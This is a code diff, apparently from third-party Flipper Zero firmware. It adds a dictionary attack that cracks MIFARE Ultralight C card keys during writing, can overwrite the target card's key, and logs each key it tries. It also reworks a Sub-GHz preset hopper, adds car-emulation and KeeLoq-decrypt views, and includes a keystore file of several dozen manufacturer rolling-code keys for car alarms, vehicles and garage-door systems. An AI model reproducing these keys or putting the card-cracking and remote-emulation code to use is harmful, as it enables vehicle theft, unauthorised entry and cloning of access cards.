||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventCardDetected);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeAuthRequest) {
|
||||
// Skip auth during the read phase of write - we'll authenticate
|
||||
// against the target card in RequestWriteData using source key or dict attack
|
||||
mf_ultralight_event->data->auth_context.skip_auth = true;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestKey) {
|
||||
// Dict attack key provider - user dict first, then system dict
|
||||
if(!instance->mf_ultralight_c_dict_context.dict &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictIdle) {
|
||||
if(keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictUser;
|
||||
}
|
||||
if(!instance->mf_ultralight_c_dict_context.dict) {
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictSystem;
|
||||
}
|
||||
}
|
||||
MfUltralightC3DesAuthKey key = {};
|
||||
bool got_key = false;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
if(!got_key &&
|
||||
instance->mf_ultralight_c_write_context.dict_state == NfcMfUltralightCWriteDictUser) {
|
||||
// Exhausted user dict, switch to system dict
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = keys_dict_alloc(
|
||||
NFC_APP_MF_ULTRALIGHT_C_DICT_SYSTEM_PATH,
|
||||
KeysDictModeOpenExisting,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictSystem;
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
got_key = keys_dict_get_next_key(
|
||||
instance->mf_ultralight_c_dict_context.dict,
|
||||
key.data,
|
||||
sizeof(MfUltralightC3DesAuthKey));
|
||||
}
|
||||
}
|
||||
if(got_key) {
|
||||
mf_ultralight_event->data->key_request_data.key = key;
|
||||
mf_ultralight_event->data->key_request_data.key_provided = true;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"Trying dict key: "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
key.data[0],
|
||||
key.data[1],
|
||||
key.data[2],
|
||||
key.data[3],
|
||||
key.data[4],
|
||||
key.data[5],
|
||||
key.data[6],
|
||||
key.data[7],
|
||||
key.data[8],
|
||||
key.data[9],
|
||||
key.data[10],
|
||||
key.data[11],
|
||||
key.data[12],
|
||||
key.data[13],
|
||||
key.data[14],
|
||||
key.data[15]);
|
||||
} else {
|
||||
mf_ultralight_event->data->key_request_data.key_provided = false;
|
||||
FURI_LOG_D("MfULC", "Dict exhausted - no more keys");
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state =
|
||||
NfcMfUltralightCWriteDictExhausted;
|
||||
}
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeRequestWriteData) {
|
||||
mf_ultralight_event->data->write_data =
|
||||
nfc_device_get_data(instance->nfc_device, NfcProtocolMfUltralight);
|
||||
// Reset dict context so RequestKey starts fresh for the write-phase auth
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
}
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteKeyRequest) {
|
||||
// Apply the user's key choice - read from static, not scene state (scene manager
|
||||
// resets state to 0 on scene entry, wiping any value set before next_scene).
|
||||
bool keep_key = !instance->mf_ultralight_c_write_context.copy_key;
|
||||
mf_ultralight_event->data->write_key_skip = keep_key;
|
||||
|
||||
if(mf_ultralight_event->data->key_request_data.key_provided) {
|
||||
MfUltralightC3DesAuthKey found_key = mf_ultralight_event->data->key_request_data.key;
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: target key = "
|
||||
"%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X%02X",
|
||||
found_key.data[0],
|
||||
found_key.data[1],
|
||||
found_key.data[2],
|
||||
found_key.data[3],
|
||||
found_key.data[4],
|
||||
found_key.data[5],
|
||||
found_key.data[6],
|
||||
found_key.data[7],
|
||||
found_key.data[8],
|
||||
found_key.data[9],
|
||||
found_key.data[10],
|
||||
found_key.data[11],
|
||||
found_key.data[12],
|
||||
found_key.data[13],
|
||||
found_key.data[14],
|
||||
found_key.data[15]);
|
||||
}
|
||||
FURI_LOG_D(
|
||||
"MfULC",
|
||||
"WriteKeyRequest: decision = %s (copy_key=%d)",
|
||||
keep_key ? "KEEP target key (pages 44-47 NOT written)" :
|
||||
"OVERWRITE with source key (pages 44-47 WILL be written)",
|
||||
(int)instance->mf_ultralight_c_write_context.copy_key);
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeCardMismatch) {
|
||||
furi_string_set(instance->text_box_store, "Card of the same\ntype should be\n presented");
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventWrongCard);
|
||||
@@ -323,6 +478,7 @@ static NfcCommand
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteFail) {
|
||||
view_dispatcher_send_custom_event(instance->view_dispatcher, NfcCustomEventPollerFailure);
|
||||
command = NfcCommandStop;
|
||||
} else if(mf_ultralight_event->type == MfUltralightPollerEventTypeWriteSuccess) {
|
||||
furi_string_reset(instance->text_box_store);
|
||||
@@ -334,9 +490,18 @@ static NfcCommand
|
||||
}
|
||||
|
||||
static void nfc_scene_write_on_enter_mf_ultralight(NfcApp* instance) {
|
||||
// Free any dict the write callback opened (dict_state != Idle means we own it).
|
||||
// After a DictAttack scene, on_exit now NULLs the pointer so a simple NULL check
|
||||
// is safe here too — but the state enum is the authoritative ownership record.
|
||||
if(instance->mf_ultralight_c_write_context.dict_state != NfcMfUltralightCWriteDictIdle &&
|
||||
instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
}
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
furi_string_set(instance->text_box_store, "\nApply the\ntarget\ncard now");
|
||||
instance->poller = nfc_poller_alloc(instance->nfc, NfcProtocolMfUltralight);
|
||||
nfc_poller_start(instance->poller, nfc_scene_write_poller_callback_mf_ultralight, instance);
|
||||
furi_string_set(instance->text_box_store, "Apply the initial\ncard only");
|
||||
}
|
||||
|
||||
const NfcProtocolSupportBase nfc_protocol_support_mf_ultralight = {
|
||||
|
||||
@@ -126,6 +126,18 @@ typedef struct {
|
||||
size_t dict_keys_current;
|
||||
} NfcMfUltralightCDictContext;
|
||||
|
||||
typedef enum {
|
||||
NfcMfUltralightCWriteDictIdle, /**< No dict open; safe to open either dict. */
|
||||
NfcMfUltralightCWriteDictUser, /**< User dict currently open. */
|
||||
NfcMfUltralightCWriteDictSystem, /**< System dict currently open. */
|
||||
NfcMfUltralightCWriteDictExhausted, /**< All dicts tried; do not re-open. */
|
||||
} NfcMfUltralightCWriteDictState;
|
||||
|
||||
typedef struct {
|
||||
bool copy_key; /**< True = overwrite target 3DES key with source key pages. */
|
||||
NfcMfUltralightCWriteDictState dict_state; /**< Which dict is open for write-phase auth. */
|
||||
} NfcMfUltralightCWriteContext;
|
||||
|
||||
struct NfcApp {
|
||||
DialogsApp* dialogs;
|
||||
Storage* storage;
|
||||
@@ -165,6 +177,7 @@ struct NfcApp {
|
||||
SlixUnlock* slix_unlock;
|
||||
NfcMfClassicDictAttackContext nfc_dict_context;
|
||||
NfcMfUltralightCDictContext mf_ultralight_c_dict_context;
|
||||
NfcMfUltralightCWriteContext mf_ultralight_c_write_context;
|
||||
Mfkey32Logger* mfkey32_logger;
|
||||
MfUserDict* mf_user_dict;
|
||||
MfClassicKeyCache* mfc_key_cache;
|
||||
|
||||
@@ -77,6 +77,15 @@ void nfc_scene_mf_ultralight_c_dict_attack_prepare_view(NfcApp* instance) {
|
||||
// Set attack type to Ultralight C
|
||||
dict_attack_set_type(instance->dict_attack, DictAttackTypeMfUltralightC);
|
||||
|
||||
// Guard: if a previous write phase left a dict handle open, close it now.
|
||||
// Without this, navigating write->back->read->dict-attack would open the same
|
||||
// file twice, corrupting VFS state and causing a ViewPort lockup.
|
||||
if(instance->mf_ultralight_c_dict_context.dict) {
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_write_context.dict_state = NfcMfUltralightCWriteDictIdle;
|
||||
}
|
||||
|
||||
if(state == DictAttackStateUserDictInProgress) {
|
||||
do {
|
||||
if(!keys_dict_check_presence(NFC_APP_MF_ULTRALIGHT_C_DICT_USER_PATH)) {
|
||||
@@ -167,6 +176,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -199,6 +209,7 @@ bool nfc_scene_mf_ultralight_c_dict_attack_on_event(void* context, SceneManagerE
|
||||
nfc_poller_stop(instance->poller);
|
||||
nfc_poller_free(instance->poller);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
scene_manager_set_scene_state(
|
||||
instance->scene_manager,
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
@@ -230,6 +241,7 @@ void nfc_scene_mf_ultralight_c_dict_attack_on_exit(void* context) {
|
||||
NfcSceneMfUltralightCDictAttack,
|
||||
DictAttackStateUserDictInProgress);
|
||||
keys_dict_free(instance->mf_ultralight_c_dict_context.dict);
|
||||
instance->mf_ultralight_c_dict_context.dict = NULL;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_total = 0;
|
||||
instance->mf_ultralight_c_dict_context.dict_keys_current = 0;
|
||||
instance->mf_ultralight_c_dict_context.auth_success = false;
|
||||
|
||||
@@ -58,11 +58,16 @@ typedef enum {
|
||||
SubGhzCustomEventViewTransmitterSendStart,
|
||||
SubGhzCustomEventViewTransmitterSendStop,
|
||||
SubGhzCustomEventViewTransmitterError,
|
||||
SubGhzCustomEventViewTransmitterPageChange,
|
||||
|
||||
SubGhzCustomEventViewFreqAnalOkShort,
|
||||
SubGhzCustomEventViewFreqAnalOkLong,
|
||||
|
||||
SubGhzCustomEventByteInputDone,
|
||||
SubGhzCustomEventCarEmulateTransmit,
|
||||
SubGhzCustomEventCarEmulateStop,
|
||||
SubGhzCustomEventCarEmulateExit,
|
||||
|
||||
} SubGhzCustomEvent;
|
||||
|
||||
typedef enum {
|
||||
|
||||
@@ -35,6 +35,9 @@ SubGhzTxRx* subghz_txrx_alloc(void) {
|
||||
instance->txrx_state = SubGhzTxRxStateSleep;
|
||||
|
||||
subghz_txrx_hopper_set_state(instance, SubGhzHopperStateOFF);
|
||||
subghz_txrx_preset_hopper_set_state(instance, SubGhzPresetHopperStateOFF);
|
||||
instance->preset_hopper_idx = 0;
|
||||
instance->preset_hopper_timeout = 0;
|
||||
subghz_txrx_speaker_set_state(instance, SubGhzSpeakerStateDisable);
|
||||
subghz_txrx_set_debug_pin_state(instance, false);
|
||||
|
||||
@@ -495,63 +498,153 @@ void subghz_txrx_hopper_pause(SubGhzTxRx* instance) {
|
||||
}
|
||||
}
|
||||
|
||||
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance) {
|
||||
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold) {
|
||||
furi_assert(instance);
|
||||
return instance->mod_hopper_running;
|
||||
}
|
||||
|
||||
void subghz_txrx_mod_hopper_set_running(
|
||||
SubGhzTxRx* instance,
|
||||
bool running,
|
||||
uint8_t dwell_ticks,
|
||||
float rssi_threshold) {
|
||||
furi_assert(instance);
|
||||
instance->mod_hopper_running = running;
|
||||
instance->mod_hopper_dwell = dwell_ticks;
|
||||
instance->mod_hopper_rssi_threshold = rssi_threshold;
|
||||
if(running) instance->mod_hopper_timer = dwell_ticks;
|
||||
}
|
||||
|
||||
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance, float current_rssi) {
|
||||
furi_assert(instance);
|
||||
if(!instance->mod_hopper_running) return;
|
||||
|
||||
// If RSSI gating is enabled and signal is present, pause hopping
|
||||
if(!isnan(instance->mod_hopper_rssi_threshold) &&
|
||||
current_rssi > instance->mod_hopper_rssi_threshold) {
|
||||
instance->mod_hopper_timer = instance->mod_hopper_dwell;
|
||||
switch(instance->preset_hopper_state) {
|
||||
case SubGhzPresetHopperStateOFF:
|
||||
case SubGhzPresetHopperStatePause:
|
||||
return;
|
||||
case SubGhzPresetHopperStateRSSITimeOut:
|
||||
if(instance->preset_hopper_timeout != 0) {
|
||||
instance->preset_hopper_timeout--;
|
||||
return;
|
||||
}
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
|
||||
if(instance->mod_hopper_timer > 0) {
|
||||
instance->mod_hopper_timer--;
|
||||
return;
|
||||
if(instance->preset_hopper_state != SubGhzPresetHopperStateRSSITimeOut) {
|
||||
float rssi = subghz_devices_get_rssi(instance->radio_device);
|
||||
|
||||
if(rssi > stay_threshold) {
|
||||
instance->preset_hopper_timeout = 20;
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRSSITimeOut;
|
||||
return;
|
||||
}
|
||||
} else {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
|
||||
}
|
||||
instance->mod_hopper_timer = instance->mod_hopper_dwell;
|
||||
|
||||
size_t count = subghz_setting_get_preset_count(instance->setting);
|
||||
if(count == 0) return;
|
||||
size_t hopper_preset_count = subghz_setting_get_hopper_preset_count(instance->setting);
|
||||
|
||||
// Advance index, skip CUSTOM presets
|
||||
uint8_t tries = 0;
|
||||
do {
|
||||
instance->mod_hopper_idx = (instance->mod_hopper_idx + 1) % count;
|
||||
tries++;
|
||||
} while(tries < count &&
|
||||
strcmp(
|
||||
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx),
|
||||
"CUSTOM") == 0);
|
||||
if(hopper_preset_count > 0) {
|
||||
if(instance->preset_hopper_idx < hopper_preset_count - 1) {
|
||||
instance->preset_hopper_idx++;
|
||||
} else {
|
||||
instance->preset_hopper_idx = 0;
|
||||
}
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, instance->mod_hopper_idx);
|
||||
uint8_t* preset_data =
|
||||
subghz_setting_get_preset_data(instance->setting, instance->mod_hopper_idx);
|
||||
size_t preset_data_size =
|
||||
subghz_setting_get_preset_data_size(instance->setting, instance->mod_hopper_idx);
|
||||
size_t actual_preset_idx = subghz_setting_get_hopper_preset_index(
|
||||
instance->setting, instance->preset_hopper_idx);
|
||||
|
||||
subghz_txrx_set_preset(
|
||||
instance, preset_name, instance->preset->frequency, preset_data, preset_data_size);
|
||||
subghz_txrx_rx_start(instance);
|
||||
if(instance->txrx_state == SubGhzTxRxStateRx) {
|
||||
subghz_txrx_rx_end(instance);
|
||||
}
|
||||
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
|
||||
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, actual_preset_idx);
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, actual_preset_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
} else {
|
||||
size_t preset_count = subghz_setting_get_preset_count(instance->setting);
|
||||
if(instance->preset_hopper_idx < preset_count - 1) {
|
||||
instance->preset_hopper_idx++;
|
||||
} else {
|
||||
instance->preset_hopper_idx = 0;
|
||||
}
|
||||
|
||||
if(instance->txrx_state == SubGhzTxRxStateRx) {
|
||||
subghz_txrx_rx_end(instance);
|
||||
}
|
||||
if(instance->txrx_state == SubGhzTxRxStateIDLE) {
|
||||
const char* old_preset_name = furi_string_get_cstr(instance->preset->name);
|
||||
|
||||
const char* preset_name =
|
||||
subghz_setting_get_preset_name(instance->setting, instance->preset_hopper_idx);
|
||||
subghz_txrx_set_preset_internal(
|
||||
instance, instance->preset->frequency, instance->preset_hopper_idx, 0);
|
||||
|
||||
bool old_is_am = (strstr(old_preset_name, "AM") != NULL);
|
||||
bool new_is_am = (strstr(preset_name, "AM") != NULL);
|
||||
bool modulation_changed = (old_is_am != new_is_am);
|
||||
|
||||
if(modulation_changed) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
} else {
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
|
||||
subghz_txrx_rx(instance, instance->preset->frequency);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
return instance->preset_hopper_state;
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state) {
|
||||
furi_assert(instance);
|
||||
instance->preset_hopper_state = state;
|
||||
|
||||
if(state == SubGhzPresetHopperStateRunning) {
|
||||
subghz_devices_reset(instance->radio_device);
|
||||
subghz_devices_load_preset(
|
||||
instance->radio_device,
|
||||
FuriHalSubGhzPresetCustom,
|
||||
instance->preset->data);
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->preset_hopper_state == SubGhzPresetHopperStatePause) {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStateRunning;
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance) {
|
||||
furi_assert(instance);
|
||||
if(instance->preset_hopper_state == SubGhzPresetHopperStateRunning) {
|
||||
instance->preset_hopper_state = SubGhzPresetHopperStatePause;
|
||||
}
|
||||
}
|
||||
|
||||
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index) {
|
||||
furi_assert(instance);
|
||||
instance->preset_hopper_idx = index;
|
||||
}
|
||||
|
||||
void subghz_txrx_speaker_on(SubGhzTxRx* instance) {
|
||||
|
||||
@@ -164,37 +164,17 @@ void subghz_txrx_hopper_unpause(SubGhzTxRx* instance);
|
||||
*/
|
||||
void subghz_txrx_hopper_pause(SubGhzTxRx* instance);
|
||||
|
||||
/**
|
||||
* Update modulation (preset) CC1101 in automatic mode (mod hopper)
|
||||
* Cycles through available presets at the configured dwell time.
|
||||
* Pauses hopping when current_rssi exceeds the configured threshold.
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
* @param current_rssi Current RSSI reading from the radio
|
||||
*/
|
||||
void subghz_txrx_mod_hopper_update(SubGhzTxRx* instance, float current_rssi);
|
||||
void subghz_txrx_preset_hopper_update(SubGhzTxRx* instance, float stay_threshold);
|
||||
|
||||
/**
|
||||
* Set mod hopper running state with configuration
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
* @param running true to enable, false to disable
|
||||
* @param dwell_ticks Ticks to dwell on each modulation (100ms per tick)
|
||||
* @param rssi_threshold RSSI threshold to pause hopping (NAN = no gating)
|
||||
*/
|
||||
void subghz_txrx_mod_hopper_set_running(
|
||||
SubGhzTxRx* instance,
|
||||
bool running,
|
||||
uint8_t dwell_ticks,
|
||||
float rssi_threshold);
|
||||
SubGhzPresetHopperState subghz_txrx_preset_hopper_get_state(SubGhzTxRx* instance);
|
||||
|
||||
/**
|
||||
* Get mod hopper running state
|
||||
*
|
||||
* @param instance Pointer to a SubGhzTxRx
|
||||
* @return true if mod hopping is active
|
||||
*/
|
||||
bool subghz_txrx_mod_hopper_get_running(SubGhzTxRx* instance);
|
||||
void subghz_txrx_preset_hopper_set_state(SubGhzTxRx* instance, SubGhzPresetHopperState state);
|
||||
|
||||
void subghz_txrx_preset_hopper_unpause(SubGhzTxRx* instance);
|
||||
|
||||
void subghz_txrx_preset_hopper_pause(SubGhzTxRx* instance);
|
||||
|
||||
void subghz_txrx_preset_hopper_reset_index(SubGhzTxRx* instance, size_t index);
|
||||
|
||||
/**
|
||||
* Speaker on
|
||||
|
||||
@@ -19,11 +19,9 @@ struct SubGhzTxRx {
|
||||
bool is_database_loaded;
|
||||
SubGhzHopperState hopper_state;
|
||||
|
||||
uint8_t mod_hopper_idx; // index into setting presets (wraps around)
|
||||
uint8_t mod_hopper_timer; // countdown ticks before advancing modulation
|
||||
uint8_t mod_hopper_dwell; // stored dwell ticks (configurable)
|
||||
float mod_hopper_rssi_threshold; // RSSI threshold; NAN = no RSSI gating
|
||||
bool mod_hopper_running; // is mod hopping active
|
||||
uint8_t preset_hopper_timeout;
|
||||
size_t preset_hopper_idx;
|
||||
SubGhzPresetHopperState preset_hopper_state;
|
||||
|
||||
SubGhzTxRxState txrx_state;
|
||||
SubGhzSpeakerState speaker_state;
|
||||
|
||||
@@ -29,6 +29,14 @@ typedef enum {
|
||||
SubGhzHopperStateRSSITimeOut,
|
||||
} SubGhzHopperState;
|
||||
|
||||
/** SubGhzPresetHopperState state */
|
||||
typedef enum {
|
||||
SubGhzPresetHopperStateOFF,
|
||||
SubGhzPresetHopperStateRunning,
|
||||
SubGhzPresetHopperStatePause,
|
||||
SubGhzPresetHopperStateRSSITimeOut,
|
||||
} SubGhzPresetHopperState;
|
||||
|
||||
/** SubGhzSpeakerState state */
|
||||
typedef enum {
|
||||
SubGhzSpeakerStateDisable,
|
||||
@@ -85,6 +93,8 @@ typedef enum {
|
||||
SubGhzViewIdFrequencyAnalyzer,
|
||||
SubGhzViewIdReadRAW,
|
||||
SubGhzViewIdPsaDecrypt,
|
||||
SubGhzViewIdKeeloqDecrypt,
|
||||
SubGhzViewIdCarEmulate,
|
||||
|
||||
} SubGhzViewId;
|
||||
|
||||
|
||||
@@ -1,107 +1,108 @@
|
||||
Filetype: Flipper SubGhz Keystore File
|
||||
Version: 0
|
||||
Encryption: 0
|
||||
0000000000000000:1:Allgate_Simple
|
||||
0000000023304758:6:KGB/Subaru
|
||||
0000000033205748:7:Magic_2
|
||||
00000000C3644917:2:VAG_Custom_Seed
|
||||
0102030410203040:1:IronLogic
|
||||
0123456789ABCDEF:2:Stilmatic
|
||||
0132456789ABCDEF:1:Pandora_Test_Debug_2
|
||||
05AEDAABAA981903:1:Rosh
|
||||
08AEDAABAA981903:1:Dea_Mio
|
||||
1067DC33E7D88A46:0:Leopard
|
||||
12332594A9189478:1:Sheriff
|
||||
1234567812345678:2:NICE_Flor_S
|
||||
1234567890123456:1:Cenmax
|
||||
188B0544A9B1DF14:2:Centurion
|
||||
1961DAC2EB198847:2:Guard_RF-311A
|
||||
1B36977B281597AC:1:Pandora_PRO
|
||||
207DBBE59D386F44:2:Cardin_S449
|
||||
2156EB02D8E9B977:1:Pandora_DEA
|
||||
2255EA01DBEABA76:1:Pandora_GIBIDI
|
||||
2354E900DAEBBB75:1:Pandora_MCODE
|
||||
2453EE07DDECBC72:1:Pandora_Unknown_1
|
||||
2552EF06DCEDBD73:1:Pandora_SUZUKI
|
||||
2587010764070864:1:Harpoon
|
||||
2626991902991902:1:Gibidi
|
||||
2651EC05DFEEBE70:1:Pandora_Unknown_2
|
||||
27193A9B117C0835:11:Jarolift
|
||||
2739451414471820:2:Audii
|
||||
2750ED04DEEFBF71:2:Pandora_NISSAN
|
||||
30317B307D794471:1:KEY
|
||||
314C3865304E3961:1:Novoferm
|
||||
32130221685B9D8C:2:VAG_HELLA_VPM2
|
||||
3519B934A4227995:1:Pandora_SUBARU
|
||||
352BABACA5F4DFE0:1:Pecinin
|
||||
381D7D9A2A17AE99:1:Pandora_M101
|
||||
3E461AB4F76DA19B:2:Merlin
|
||||
4030201004030201:1:IL-100(Smart)
|
||||
4130850A82610A14:1:Pantera_CLK
|
||||
414C455831393830:1:Kingates_Stylo4k
|
||||
4292903083134583:2:Monarch
|
||||
434144494C4C4143:2:Cadillac_GM
|
||||
43485259534C4552:2:Chrysler
|
||||
444145574F4F0000:2:Daewoo
|
||||
4772736565734769:1:Aprimatic
|
||||
484D6C6D73545253:1:NICE_MHOUSE
|
||||
484F4E4441200000:2:Honda
|
||||
4859554E44414920:2:Hyundai_Asia
|
||||
4C6D4D7A55644F76:3:BFT
|
||||
4D41474E64796E65:1:Pantera
|
||||
4D49545355424953:2:Mitsubishi
|
||||
4E495353414E2000:2:Nissan
|
||||
535446524B453030:13:KIAV5
|
||||
53555A554B490000:2:Suzuki
|
||||
53696C7669618C14:5:FAAC_SLH
|
||||
54365CB7676284F9:1:Alligator_S-275
|
||||
544F594F54410000:2:Toyota
|
||||
54524D534543494E:1:NICE_Smilo
|
||||
5504045708301203:1:SL_A6-A9/Tomahawk_9010
|
||||
572768229476CAFF:2:Motorline
|
||||
638664A880AA23FC:11:KIAV6A
|
||||
6408076407018725:1:Tomahawk_TZ-9030
|
||||
66B446B980AC752B:1:Cenmax_St-7
|
||||
67732C5056334627:1:Pantera_XS/Jaguar
|
||||
685B9D8C5A130221:2:VAG_HELLA_VPM
|
||||
68732C5056334728:1:APS-1100_APS-2550
|
||||
6912FA557DC2418A:0:Reff
|
||||
6B8E6CA088A22BF4:12:KIAV6B
|
||||
6D69736572657265:2:BFT_Miserere
|
||||
6EB6AE4815C63ED2:9:Beninca_ARC
|
||||
6F5E4D3B2AABCDEF:1:Tomahawk_Z,X_3-5
|
||||
7BCBEED4376EDCBF:2:Sommer
|
||||
7EAF1E9A392B19B9:1:Pandora_PRO2
|
||||
8455F43584941223:1:DoorHan
|
||||
8607427861394E30:2:EcoStar
|
||||
8765432187654321:2:Sommer_FM_868
|
||||
89146E59537903B7:1:JCM_Tech
|
||||
8A326438B62287F5:0:Faraon
|
||||
8BC9E46704700800:1:Vag
|
||||
96638C36C99C2C9B:1:Came_Space
|
||||
9804655AA5000000:8:Magic_4
|
||||
9BF7F89BF8FE78DA:1:SL_A2-A4
|
||||
9C61FD3A47B8E25C:2:Elmes_Poland
|
||||
9DA08153CF312BA7:1:Normstahl
|
||||
A8F5DFFC8DAA5CDB:10:KIA
|
||||
A9748532B7655297:2:GSN
|
||||
AA38A7A32189B5A1:0:Mutanco_Mutancode
|
||||
AAFBFBA8F7CFEDFC:1:Cenmax_St-5
|
||||
AC35BB2759000000:8:Magic_3
|
||||
AD3C12A17028F11E:1:Partisan_RX
|
||||
B3E5625A8CCD7139:2:Steelmate
|
||||
B51526E8F126D1D7:0:Teco
|
||||
B51A7AAB27351596:0:ZX-730-750-1055
|
||||
BBEE9EDDAAF97ECC:1:Jolly_Motors
|
||||
CEB6AE48B5C63ED2:4:Beninca
|
||||
D5A5E7B2A7C1A0BA:2:Mongoose
|
||||
E5D2C83529C113E6:2:VAG_HELLA_PWM
|
||||
EEF3D4B2626C5578:1:Alligator
|
||||
F1A3E552C8647E55:2:Comunello
|
||||
F250006EF29E030E:2:Vauweh
|
||||
F6E5D4B32ABADCFE:1:SL_B6,B9_dop
|
||||
FAAC05600001FAAC:2:FAAC_RC,XT
|
||||
FAAC05600002FAAC:2:Genius_Bravo
|
||||
FADA12FADA34F0DA:1:Rossi
|
||||
